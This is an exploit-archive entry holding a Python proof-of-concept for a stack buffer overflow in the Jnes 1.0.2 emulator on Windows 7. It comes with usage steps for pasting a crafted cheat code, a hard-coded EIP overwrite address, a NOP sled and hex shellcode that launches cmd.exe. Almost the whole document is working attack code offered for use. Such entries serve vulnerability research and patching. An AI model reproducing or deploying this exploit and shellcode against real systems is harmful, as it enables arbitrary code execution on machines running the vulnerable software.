Jnes 1.0.2 – Stack Buffer Overflow
#!/usr/bin/env python # coding: utf-8 # Exploit Title: Jnes Version 1.0.2 Stack Buffer Overflow # Date: 3-11-2017 # Exploit Author: crash_manucoot # Contact: twitter.com/crash_manucoot # Vendor Homepage: http://www.jabosoft.com/home # Software Link: http://www.jabosoft.com/categories/3 # Version: v1.0.2.15 # Tested on: Windows 7 Home Premium SP1 SPANISH # Category: Windows Local Exploit # How to use: open the emulator load any ROM go to options - cheats - add - Pro-Action Replay # paste the contents of the open.txt in the box <address>-<value> click on ok # you will get an error message click on ok close the cheat menu and bum import struct fuzzing = open('open.txt','w+') eip = struct.pack('<I', 0x75744E2B) # (overwrites EIP with the address of user32.dll) buffer = "A" * 812 nops = "\x90" * 20 #Nops shellcode = ( #cmd.exe Shellcode "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x40\x1c\x8b\x04\x08" "\x8b\x04\x08\x8b\x58\x08\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01" "\xda\x8b\x72\x20\x01\xde\x41\xad\x01\xd8\x81\x38\x47\x65\x74" "\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08" "\x64\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c" "\x4e\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9" "\x51\x68\x45\x78\x65\x63\x68\x41\x57\x69\x6e\x89\xe1\x8d\x49" "\x01\x51\x53\xff\xd6\x87\xfa\x89\xc7\x31\xc9\x51\x68\x72\x65" "\x61\x64\x68\x69\x74\x54\x68\x68\x41\x41\x45\x78\x89\xe1\x8d" "\x49\x02\x51\x53\xff\xd6\x89\xc6\x31\xc9\x51\x68\x65\x78\x65" "\x20\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x01\x51\xff\xd7\x31\xc9" "\x51\xff\xd6") fuzzing.write(buffer + eip + nops + shellcode) |